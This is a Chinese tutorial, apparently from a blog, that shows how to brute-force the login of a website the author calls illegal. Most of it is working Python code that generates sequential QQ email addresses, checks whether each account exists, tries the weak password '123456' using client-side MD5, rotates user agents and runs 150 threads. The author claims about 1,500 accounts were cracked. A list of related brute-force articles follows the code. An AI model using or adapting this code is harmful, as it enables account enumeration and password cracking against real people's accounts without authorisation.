首先申明,该文章只可以用于交流学习,不可以用于其他用途,否则后果自负。

现在国家对网络安全的管理,越来越严,但是还是有一些不法网站逍遥法外,受限于国内的人力、物力,无法对这些网站进行取缔。

今天演示的这个网站,就是属于非法的网站。

首先看登陆界面。

抓取登陆信息。

使用Post Form表单的形式,进行用户名和密码的提交。接下来我们看提交的用户名和密码。

我输入的密码和用户名一致,说明该站对提交的密码进行了处理,等一会我来看,密码是怎么处理的,现在我们看服务器的返回信息。

服务器返回的是JSON,到这一步,我们就差密码了,只要知道密码是怎么生成的,就能加速对用户密码的破解了。

查看网站的脚本,发现密码是先在本地做MD5处理之后,才发送到服务器的。

到了这一步,我们也就初步知道如何对该网站进行暴力破解了。

由于现在的人们在进行网站注册的时候,都是使用QQ邮箱进行注册的,因此我们可以先构建一个QQ邮箱,先判断盖邮箱存不存在,然后我们在判断密码正不正确。

现在我们的思路理清楚了,接下来直接上干货。

user_num_low = 111111111
user_num_max = 9999999999
user_nbr = user_num_lowmutex=Lock()#构造用户邮箱
def get_user_nbr():mutex.acquire(3)global  user_nbruser_name = '%s%s' % (str(user_nbr), '@qq.com')user_nbr = user_nbr + 1mutex.release()return user_namedef user_end_judge():mutex.acquire(3)result = Falseif user_nbr > user_num_max :result = Trueelse:result = Falsemutex.release()return  resultdef get_curr_user():mutex.acquire(3)global  user_nbruser_name = '%s%s' % (str(user_nbr), '@qq.com')mutex.release()return user_name

构造用于判断密码邮箱是否存在

user_agent = ['Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30','Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)','Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50','Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)'
]def save_pwd(user, pwd,desc):with open("resut.txt","a+") as f:f.write('user:'+ user + '  pwd:' + pwd + " desc:" + desc + '\n')def user_test(username,password):resp = ""result = ""url = "http://www.k*.htm"pwd = passworduser= usernamemd = hashlib.md5()md.update(pwd)password =  md.hexdigest()data = {'email':username,'password':password}# 设置网页编码格式,解码获取到的中文字符encoding = "gb18030"# 构造http请求头,设置user-agentheader = {"User-Agent": random.choice(user_agent),'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest'}try:requests.adapters.DEFAULT_RETRIES = 5resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.ReadTimeout:print("1")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.Timeout:print("2")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.ConnectionError:print("3")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except socket.error:time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except BaseException as e:print(e)time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)resp.keep_alive = False#print(resp.content)try:result = resp.contentjson = resp.json()print('邮箱:%s ,result:%s \n ' % (username,result))if (json['message'].find('不存在') > -1):#print('邮箱:%s 为空' % username )return Falseelse:print('邮箱: %s 存在' % username)save_pwd(username, password, json['message'])return Trueexcept BaseException as e:print("发送错误 e: %s result:%s response code:%d" % (e, result, resp.status_code ))

好了,我们获取到邮箱之后,就是要判断密码是否正确了,由于大部分人网站登陆,还是使用弱密码,我们可以到网上找一下相关的字典库,就可以直接破解了。

判断密码是否正确,我们只需要在判断邮箱存在之后,再加一个判断即可。

  if(json['message'].find('错误') > -1):print("邮箱: %s 密码: %s ,密码错误!" % (username,pwd))return Falseelse:print('邮箱: %s  密码: %s ,登陆成功!' % (username, pwd))

由于用户和密码验证较多,单一线程工作需要较长的时间,因此我们需要用上多线程,缩短密码破解时间。

def thread_bru(): # 破解子线程函数#while not user_end_judge():pwd_queue.empty()while not user_end_judge():try:pwd = ‘123456’user = get_user_nbr()#print pwd_test#if user_test(user, pwd_test):if user_test(user, pwd):result = pwdprint ('破解 %s 成功,密码为: %s' % (user, pwd))breakexcept BaseException as e:print("破解子线程错误: %s" % e)def brute(threads):for i in range(threads):t = threading.Thread(target=thread_bru)t.start()print('破解线程-->%s 启动' % t.ident)while (not user_end_judge()): # 剩余口令集判断print('\r 进度: 当前值 %d' % pwd_queue.qsize())time.sleep(2)#print('\n破解完毕')if __name__ == "__main__":brute(150)

好了,初步编写完成。我们先刷完一部电影过来看看最终结果吧。

居然测试成功1500左右的邮箱,还有很多许多人是用非常简单的密码的。

有不懂的问题,加企鹅群交流吧:98556420。

如何通过Python暴力破解网站登陆密码相关推荐

  1. Python暴力破解网站登录密码脚本

    测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级 关键代码解释 url指定url地址 url = "http://192.168.171.2/dvwa/vulnerab ...

  2. Python 暴力破解zip文件密码(相对简单的密码)

               Python 暴力破解zip文件密码(相对简单的密码) 密码的使用范围很广,首先,我们要明确密码的作用,其次要明白密码的类型. 密码的作用是进行权限的限制,判断用户的合法性,(不 ...

  3. 使用Python暴力破解压缩文件密码

    有一个加密的压缩文件,只记得密码前缀,但知道结尾是4位数字,想用Python暴力破解下. 刚开始想用Python标准库zipfile实现,先创建个密码为password的压缩文件test来测试: fr ...

  4. Python破解网站登录密码脚本

    这篇文章主要为大家介绍一个简单的Python暴力破解网站登录密码脚本,文中的过程讲解详细,对我们学习Python有一定的帮助,感兴趣的可以学习一下.编程学习资料点击领取 目录 测试靶机为DVWA,适合 ...

  5. Python黑科技:暴力破解你的密码

    Python黑科技:暴力破解你的密码 今天呢,给大家带来一个Python的暴力破解加密的压缩文件的方法~ (是不是压缩文件不重要). 另外你会不会Python也不重要 首先,我们得说一下,如何打开一个 ...

  6. python暴力破解压缩包密码(python暴力破解zip压缩包)

    python暴力破解压缩包密码 简介 简介: ZIP文件格式是一种数据压缩和文档储存的文件格式,原名Deflate,发明者为菲尔·卡茨(Phil Katz),他于1989年1月公布了该格式的资料.ZI ...

  7. python 暴力破解 excel加密文件

    python 暴力破解 excel加密文件 'wordlist.txt' 为待测试的密码列表 fdd ddd eeee 5e5e5 58d85d5e d2d4d5d 4d4d4d3 dfdf,d; l ...

  8. 使用Python暴力破解密码

    由于业务需求,今天项目对接了百度云智能的风控系统,注册和登陆保护,想来测试一下性能,用python写了一个脚本,暴力破解密码,看看会不会触发风控 一.首先在本地新建了一个数据库,保存已经试错过的密码 ...

  9. python脚本-暴力破解无线网弱密码

    关注我的博客,访问更多内容! 背景:学校最近重新架设无线网一体化,而初始密码为弱密码(6位数字),下面我们要做的就是通过暴力破解的方式破解弱密码!(所以建议大家以后无论是在注册还是什么情况,都千万不要 ...

  10. 忘记密码?不存在的, 教你如何使用python 暴力破解

    " 教你如何使用暴力破解" 本文续上一期压缩文件,这期,我们来讨论一下如何在不知道密码的情况下进行暴力破解. 上期回顾:如何实现压缩文件通过python解密 01- 准备材料 这期 ...

最新文章

  1. Spring 数据源配置与应用
  2. linux 系统时间 硬件时间,linux 设置系统时间和硬件时间
  3. 第06讲:多路加速,了解多进程基本原理
  4. 如何将 SAP UI5 应用托管到 Github 网站上并运行
  5. bind函数polyfill源码解析
  6. 机器人也学会撩妹技能了,比我还能撩
  7. java接口的作用和意义_java什么是接口?接口有什么作用?接口如何使用?
  8. 第3章 正则表达式1
  9. 怎么用spss做冗余分析_SPSS在线_SPSSAU_SPSS典型相关分析
  10. excel锁定前几行,无法选择和编辑
  11. 关于网络促销活动对大学生购物的影响的调研报告
  12. LaTex 插入图像
  13. Linux 合并两个文件
  14. 1,标准差的计算 2,标准分数z-score
  15. 还在用电脑多控手机?你out了,手机多控手机,全新神器
  16. 查看linux系统是centos还是ubuntu的方法
  17. 浏览器产生乱码的原因
  18. NetworkX 算法列表
  19. git上下的vue项目npm时出现奇怪的错误
  20. openstack冷迁移/Resize源码分析(二)

热门文章

  1. Vue 使用 PinyinMatch实现拼音匹配搜索
  2. Unit3D--人机交互入门
  3. 启用计算机共享,电脑无法启用共享访问怎么办
  4. 基于人工萤火虫优化(GSO)算法的函数寻优算法
  5. Windows文件保护简介
  6. JavaList集合根据ParentId递归【无限套娃】
  7. ubuntu双系统修改启动菜单
  8. OpenWrt ADSL单线多拨,负载均衡(仅供参考)
  9. 一次局域网入侵全过程
  10. 软件工程领域权威期刊